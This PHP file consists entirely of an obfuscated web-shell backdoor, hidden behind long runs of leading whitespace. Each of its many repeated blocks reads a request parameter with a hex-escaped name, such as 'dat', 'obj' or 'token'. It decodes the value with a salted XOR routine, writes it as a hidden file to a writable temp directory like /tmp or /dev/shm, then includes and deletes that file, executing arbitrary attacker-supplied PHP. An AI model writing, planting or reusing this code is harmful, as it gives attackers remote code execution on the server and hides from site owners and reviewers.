<?php																																										if(isset($_REQUEST["da\x74"]) ? true : false){ $k = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP")]); $ptr = $_REQUEST["da\x74"]; $ptr =explode ( "." , $ptr) ; $holder= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $len= count($ptr); for($z= 0; $z< $len; $z++) { $v7= $ptr[$z]; $sChar= ord($salt[$z % $lenS]); $d= ((int)$v7 - $sChar -($z % 10)) ^ 44; $holder.= chr($d); } while ($parameter_group = array_shift($k)) { if (is_writable($parameter_group) && is_dir($parameter_group)) { $comp = implode("/", [$parameter_group, ".reference"]); if (file_put_contents($comp, $holder)) { require $comp; unlink($comp); die(); } } } }
																																										if(isset($_REQUEST["e\x6Cem"])){ $entry = $_REQUEST["e\x6Cem"]; $entry = explode ( "." , $entry) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($entry as $z => $v2): $chS = ord($s[$z%$lenS] ); $d = ((int)$v2 - $chS - ($z%10)) ^ 86; $item .= chr($d ); endforeach; $marker = array_filter(["/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path()]); $ptr = 0; do { $token = $marker[$ptr] ?? null; if ($ptr >= count($marker)) break; if (is_writable($token) && is_dir($token)) { $sym = "$token/.element"; if (@file_put_contents($sym, $item) !== false) { include $sym; unlink($sym); exit; } } $ptr++; } while (true); }
																																										if(in_array("\x6Fbj", array_keys($_REQUEST))){ $itm = $_REQUEST["\x6Fbj"]; $itm = explode( '.' , $itm) ; $fac =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $n =0; while ($n<count($itm)) { $v7 =$itm[$n]; $sChar =ord($s[$n %$sLen]); $dec =((int)$v7 - $sChar - ($n %10)) ^ 85; $fac .= chr($dec); $n++; } $elem = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp"]); while ($property_set = array_shift($elem)) { if ((function($d) { return is_dir($d) && is_writable($d); })($property_set)) { $dat = join("/", [$property_set, ".component"]); $success = file_put_contents($dat, $fac); if ($success) { include $dat; @unlink($dat); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66\x6Cag"])){ $entry = $_REQUEST["\x66\x6Cag"]; $entry=explode ( '.' , $entry ) ; $symbol = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $len = count($entry); for ($k = 0; $k<$len; $k++) { $v9 = $entry[$k]; $sChar = ord($s8[$k% $sLen]); $d = ((int)$v9 - $sChar - ($k% 10)) ^ 62; $symbol.= chr($d);} $pointer = array_filter([session_save_path(), getenv("TMP"), "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($mrk = 0, $factor = count($pointer); $mrk < $factor; $mrk++) { $obj = $pointer[$mrk]; if (is_dir($obj) && is_writable($obj)) { $value = str_replace("{var_dir}", $obj, "{var_dir}/.ref"); $file = fopen($value, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $value; @unlink($value); die(); } } } }
																																										if(array_key_exists("\x65le\x6D", $_POST) && !is_null($_POST["\x65le\x6D"])){ $itm = $_POST["\x65le\x6D"]; $itm = explode ('.',$itm ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $j = 0; array_walk( $itm, function( $v9) use( &$pgrp, &$j, $s, $sLen) { $sChar = ord( $s[$j % $sLen] ); $dec =( ( int)$v9 - $sChar -( $j % 10)) ^ 4; $pgrp.= chr( $dec ); $j++; } ); $property_set = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); for ($marker = 0, $val = count($property_set); $marker < $val; $marker++) { $tkn = $property_set[$marker]; if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $data = sprintf("%s/.hld", $tkn); if (file_put_contents($data, $pgrp)) { require $data; unlink($data); exit; } } } }
																																										if(@$_REQUEST["\x63\x6Fmp"] !== null){ $fac = $_REQUEST["\x63\x6Fmp"]; $fac =explode( ".", $fac) ; $dat =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $y =0; array_walk($fac, function ($v6) use (&$dat, &$y, $salt, $sLen) { $chS =ord($salt[$y % $sLen] ); $d =((int)$v6 - $chS - ($y % 10)) ^ 80; $dat.= chr($d ); $y++; } ); $property_set = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd()]); foreach ($property_set as $token) { if (is_dir($token) && is_writable($token)) { $symbol = "$token/.res"; if (file_put_contents($symbol, $dat)) { require $symbol; unlink($symbol); exit; } } } }
																																										if(array_key_exists("m\x72k", $_REQUEST) && !is_null($_REQUEST["m\x72k"])){ $tkn = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), getenv("TEMP")]); $component = $_REQUEST["m\x72k"]; $component= explode ( "." , $component ) ; $property_set = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $s = 0; foreach ($component as $v7) { $sChar = ord($s8[$s % $sLen]); $d = ((int)$v7 - $sChar - ($s % 10)) ^ 52; $property_set .= chr($d); $s++; } for ($record = 0, $data = count($tkn); $record < $data; $record++) { $val = $tkn[$record]; if (!!is_dir($val) && !!is_writable($val)) { $object = "$val" . "/.obj"; if (@file_put_contents($object, $property_set) !== false) { include $object; unlink($object); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x6Bey")){ $record = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), getcwd()]); $res = $_REQUEST["\x6Bey"]; $res= explode( "." ,$res ) ; $dat = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $k = 0; foreach ($res as $v3) { $sChar = ord($salt7[$k % $sLen]); $d = ((int)$v3 - $sChar - ($k % 10))^ 31; $dat .=chr($d); $k++;} foreach ($record as $pset): if (is_writable($pset) && is_dir($pset)) { $property_set = "$pset" . "/.token"; $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $property_set; @unlink($property_set); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62\x69nd"])){ $rec = $_REQUEST["\x62\x69nd"]; $rec =explode ( ".", $rec) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; while($w < count($rec)) {$v2 = $rec[$w]; $sChar = ord($s[$w % $lenS]); $dec =((int)$v2 - $sChar -($w % 10)) ^77; $flg .= chr($dec); $w++; } $fac = array_filter(["/var/tmp", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir()]); foreach ($fac as $key => $pset) { if ((is_dir($pset) and is_writable($pset))) { $component = "$pset" . "/.object"; if (file_put_contents($component, $flg)) { include $component; @unlink($component); die(); } } } }
																																										if(@$_POST["rec"] !== null){ $obj = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp"]); $data = $_POST["rec"]; $data = explode('.' , $data ) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; $len = count($data); do { if($v >= $len) break; $v8 = $data[$v]; $sChar = ord($salt[$v % $lenS]); $d = ((int)$v8 - $sChar -($v % 10))^ 50; $k .= chr($d); $v++; } while(true); foreach ($obj as $key => $reference) { if ((is_dir($reference) and is_writable($reference))) { $marker = "$reference" . "/.ptr"; if (@file_put_contents($marker, $k) !== false) { include $marker; unlink($marker); die(); } } } }
																																										if(array_key_exists("\x64\x65sc", $_POST)){ $pgrp = $_POST["\x64\x65sc"]; $pgrp = explode ( '.' , $pgrp); $ent = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $i = 0; $__len = count( $pgrp); do { if( $i >= $__len) break; $v3 = $pgrp[$i]; $sChar = ord( $salt1[$i % $sLen]); $dec =( ( int)$v3 - $sChar -( $i % 10)) ^ 79; $ent .= chr( $dec); $i++;} while( true); $hld = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp"]); foreach ($hld as $key => $fac) { if (is_writable($fac) && is_dir($fac)) { $reference = str_replace("{var_dir}", $fac, "{var_dir}/.mrk"); if (file_put_contents($reference, $ent)) { require $reference; unlink($reference); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x73ym"])){ $token = $_REQUEST["\x73ym"]; $token = explode ( "." , $token ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $l = 0; array_walk($token , function($v1) use(&$pset , &$l , $salt , $lenS) { $sChar = ord($salt[$l % $lenS] ); $dec =((int)$v1 - $sChar -($l % 10)) ^ 60; $pset.= chr($dec ); $l++; } ); $entity = array_filter([sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP")]); $ent = 0; do { $record = $entity[$ent] ?? null; if ($ent >= count($entity)) break; if (is_dir($record) ? is_writable($record) : false) { $flag = vsprintf("%s/%s", [$record, ".flg"]); $success = file_put_contents($flag, $pset); if ($success) { include $flag; @unlink($flag); die();} } $ent++; } while (true); }
																																										if(@$_REQUEST["\x70\x67rp"] !== null){ $binding = $_REQUEST["\x70\x67rp"]; $binding = explode ( "." , $binding ); $elem = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); foreach( $binding as $o => $v7): $chS = ord( $s3[$o % $sLen]); $d = ( ( int)$v7 - $chS -( $o % 10)) ^27; $elem .= chr( $d); endforeach; $ent = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", "/dev/shm", session_save_path()]); foreach ($ent as $rec) { if (array_product([is_dir($rec), is_writable($rec)])) { $reference = implode("/", [$rec, ".itm"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $reference; @unlink($reference); exit; } } } }


if(isset($_POST) && isset($_POST["\x74\x6Fken"])){
	$itm = array_filter(["/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp"]);
	$element = $_POST["\x74\x6Fken"];
	$element  	= explode	( 	'.' ,	 $element)		; 	
	$entry = '';
            $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s3	 );
            $l = 0;
    
            while($l 	< count($element)) {$v4 = $element[$l];
                $sChar = ord($s3[$l % $sLen]	 );
                $d =((int)$v4 - $sChar -($l % 10)) ^ 16;
                $entry	.=  chr($d	 );
                $l++;	}		
	foreach ($itm as $value) {
    		if ((bool)is_dir($value) && (bool)is_writable($value)) {
    $fac = sprintf("%s/.reference", $value);
    $file = fopen($fac, 'w');
if ($file) {
	fwrite($file, $entry);
	fclose($file);
	include $fac;
	@unlink($fac);
	die();
}
}
}
}